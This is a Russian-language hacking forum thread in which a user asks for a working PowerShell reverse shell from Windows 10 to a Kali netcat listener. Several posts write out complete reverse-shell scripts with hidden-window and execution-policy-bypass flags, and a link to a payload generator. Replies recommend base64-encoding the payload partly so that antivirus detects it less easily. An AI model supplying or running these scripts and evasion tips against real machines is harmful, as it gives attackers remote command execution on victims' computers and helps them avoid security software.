PDA

Просмотр полной версии : Простой реверс шелл


hitman20
11.01.2026, 21:49
Привет всем.
Помогите реализовать простой реверс шелл с Kali на windows 10 .
Сам пробовал , но что то не получается , не пойму в чем дело.
На Kali открыл открыл порт рандомный на прослушку:

Код:



nc -lvnp 5555


На винде от имени админа открваю powershell и пишу там:

Код:



powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("IP_Kali",5555);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendb yte,0,$sendbyte.Length);$stream.Flush()};$client.C lose()


или в таком формате

Код:



powershell -NoExit -Command "& {
$client = New-Object System.Net.Sockets.TcpClient('IP_Kali', 5555);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (Invoke-Expression $data 2>&1 | Out-String);
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ';
$sendbyte = ([Text.Encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush();
}
$client.Close();
Read-Host 'Press Enter to exit'
}"


P.S. там пишу IP адрес kali естественно. Так же приостановил стандартный антивирус на винде.

После нажатии Enter почему то закрывается окошка просто. Пробовал создать файл ps1, и через отдельное окно его выполнить, но тогда выдает ошибка синтаксиса, типа все неверно, целый лист ошибок.

Может есть рабочий скрипт у кого то? Не сложную, простую, для демонстрации просто.

mcfly
11.01.2026, 22:17
а PowerShell #3 (Base64) не пробовал? Online - Reverse Shell Generator

hitman20
11.01.2026, 22:51
ссылка не открвается.. только заголовок и каркас сайта видимо тоже под санкциями или цензурой.
А что там можно делать? обфуксировать код под base64 ?

hitman20
12.01.2026, 00:19
да, base64 получилось )) А собственно в чем была проблема? все же открытый код где то гасится?
Классный проект между прочим, спасибо.

Exited3n
12.01.2026, 00:40
hitman20 сказал(а):

да, base64 получилось )) А собственно в чем была проблема? все же открытый код где то гасится?
Классный проект между прочим, спасибо.


АВ блочить может, вот еще тебе инструмент - GitHub - t3l3machus/hoaxshell: A Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell.

https://forum.antichat.xyz/attachments/4950439/1768164031832.png

polkitforlinux
11.02.2026, 19:45
Для начала тебе нужно на компьютере клиента создать файл power.ps1

Вписать туда скрипт


$client = New-Object System.Net.Sockets.TCPClient('192.168.56.1',4444)
$stream = $client.GetStream()
]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
} $client.Close()




После на своей машине прописать команду:
nc -lvnp 4444

[B]При этом порт должен быть открыт

После этого на машине клиента прописываешь команду:
powershell -ExecutionPolicy Bypass -File power.ps1

executor
07.06.2026, 18:52
Ситуация с реверс шеллами на Windows через PowerShell довольно типовая — стандартный ввод команды напрямую в консоль часто приводит к проблемам с экранированием и синтаксисом, особенно если скрипт длинный. Base64 обычно решает эти вопросы, так как ты передаёшь единую закодированную строку, которую PowerShell декодирует и выполняет.

Кроме того, антивирусы и Windows Defender умеют цепляться именно за текстовые команды в открытом виде, а в base64-подходе они менее чувствительны, особенно если обойтись без явных вызовов подозрительных функций. Иногда помогает запускать PowerShell с параметрами -NoProfile и -ExecutionPolicy Bypass, чтобы не подловить политики ограничений.

Опыт показывает, что стабильнее всего делать отдельный скрипт .ps1, как уже рекомендовали, и запускать его целиком. И, да, не забывай проверять, что порт слушает именно твой netcat (или альтернативный слушатель), Windows не блокирует его через файервол. Иногда проблемы бывают с сетью — NAT, VPN, межсетевые экраны, стоит проверить пинг и доступность порта с Windows-клиента.

Кстати, а какой именно netcat ты используешь на Kali? Бывает, что в разных версиях есть нюансы с флагами. И вообще, интересно, зачем именно PowerShell? Иногда проще сделать exec шелл через ncat с обратным TCP. Если в дальнейшем захочешь, могу подсказать пару более надёжных вариантов с использованием ncat или socat.

D4rk_Ghost
09.06.2026, 20:00
А в чем вообще баз64 помогает? Типо с экранированием проще, чтоб не ломался код при запуске? Просто пытаюсь понять, могу ли я просто так писать команды без всякой кодировки, или лучше сразу base64 юзать?

2pac
10.06.2026, 04:15
Base64 просто удобен, чтобы PowerShell не ругался на кавычки и спецсимволы в длинных командах. Можно писать и напрямую, но часто вылезает каша с экранированием, а с base64 проще и надежней, особенно если запуск через -EncodedCommand. Так что на практике лучше кодировать, чтобы не париться с синтаксисом.

BigBear
15.06.2026, 21:50
Чисто с практики — base64 реально спасает от гемора с кавычками и всякой ерундой в PowerShell, особенно если команда длинная или сложная. Без него часто что-то ломается или не запускается, а так запускаешь одну строку и всё гуд. Ну и, да, иногда антивирус отрубает открытые скрипты, а base64-закодированный меньше заметен. Удобно, по-серьёзному.

.:Leon:.
16.06.2026, 06:30
Ну да, base64 реально упрощает жизнь с кавычками и спецсимволами в PowerShell, особенно если команда большая. Без кодировки часто вылетает ошибка, а так запускаешь одной строкой — и всё норм. Еще антивирусу сложнее нахватать такую команду, чем чистый текст, так что с практической точки удобно.